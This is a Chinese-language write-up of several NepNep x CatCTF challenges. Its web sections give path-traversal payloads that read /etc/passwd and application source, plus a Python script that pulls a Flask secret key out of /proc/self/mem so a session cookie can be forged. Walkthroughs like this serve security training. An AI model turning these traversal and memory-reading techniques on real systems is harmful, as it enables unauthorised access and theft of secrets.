NepNep x CatCTF WriteUp


又是被虐爆的一天,太难了

Misc

MeowMeow

将图片拖入WinHex,会发现在文件的后半部分藏有flag

Nepnep 祝你新年快乐啦

评论区置顶评论:

CatchCat

GPS Visualizer: Draw a map from a GPS data file

通过这个绘制出猫猫的行动路径,即可获取flag

(为什么这玩意这么难看,这两个题都是考眼力的)

Crypto

Cat’s gift

将礼物分成了四份,说明结果需要乘4,其中一份是1-1/3+1/5-1/7+…

这个级数其实就是

(大抵是这样)

所以最后的值就是π(所以直接交pi是错的

看到flag的格式都是食物,所以应该是派

Web

ez_js

直接进入**/js/game.js**

看到下面的函数:

1
2
3
function get_flag(){
alert("flag地址为/g3t_fl4g");
}

访问/g3t_fl4g即可

ezbypass

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行 | CN-SEC 中文网

参考这篇文章,可以绕过验证漏洞直接访问flag.html

payload:

/a.css/…/flag.html

或者**/login.html/…/flag.html**

Catcat

蓝帽杯 2022 web/misc writeup - 腾讯云开发者社区-腾讯云 (tencent.com)

进入靶机,点击猫猫

可以看到url的变化,推测有目录穿越

尝试

1
?file=../../../../../../../../etc/passwd

成功,所以通过

1
?file=../../../../../../../../proc/self/cmdline

查看当前进程,回显app.py

通过

1
?file=../../../../../../../../app/app.py

获取到源码:

1
b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n    __name__,\n    static_url_path=\'/\', \n    static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n    flag = cat("/flag")\n    os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n    detailtxt = os.listdir(\'./details/\')\n    cats_list = []\n    for i in detailtxt:\n        cats_list.append(i[:i.index(\'.\')])\n        \n    return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n    filename = "./details/" + request.args.get(\'file\', "")\n    start = request.args.get(\'start\', "0")\n    end = request.args.get(\'end\', "0")\n    name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n    \n    return render_template("detail.html", catname=name, info=cat(filename, start, end))\n    \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n    if session.get(\'admin\') == 1:\n        return flag\n    else:\n        session[\'admin\'] = 0\n        return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n    app.run(host=\'0.0.0.0\', debug=False, port=5637)'

可以看到是flask(

在/admin路由内,如果session的admin=1的话就会回显flag

而通过burp抓包访问/admin会回显set cookie: session…

所以应该是需要我们伪造一个session并且将设置的session修改掉

伪造session需要知道SECRET_KEY

这个思路在文章中有提及:

通过/proc/self/maps读取堆栈分布,然后通过/proc/self/mem读取内存分布,获取secretkey

这里使用thai大师傅的dump.py

先通过?file=../../../../../../../../proc/self/maps获取堆栈分布,将其内容复制并保存至source.txt

然后使用dump.py获取secretkey:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests, re, time

url = "http://223.112.5.156:59441/"
# maps_url = f"{url}/info?file=/proc/self/maps"

maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}).*00000000 00:00 0"
# maps = re.findall(maps_reg, requests.get(maps_url).text)

with open("source.txt",'r') as f:
content = f.read()
maps = re.findall(maps_reg, content)

#print(maps)
for m in maps:
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16))
#print(Offset,Length)
read_url = f"{url}/info?file=../../../../../../../proc/self/mem&start={Offset}&end={Length}"
s = requests.get(read_url).content
time.sleep(0.5)
#print(s)
rt = re.findall(b"[a-z0-9]{32}\*abcdefgh", s)
if rt:
print(rt)

获取到secretkey后使用flask-session-cookie-manager即可

最后修改cookie即可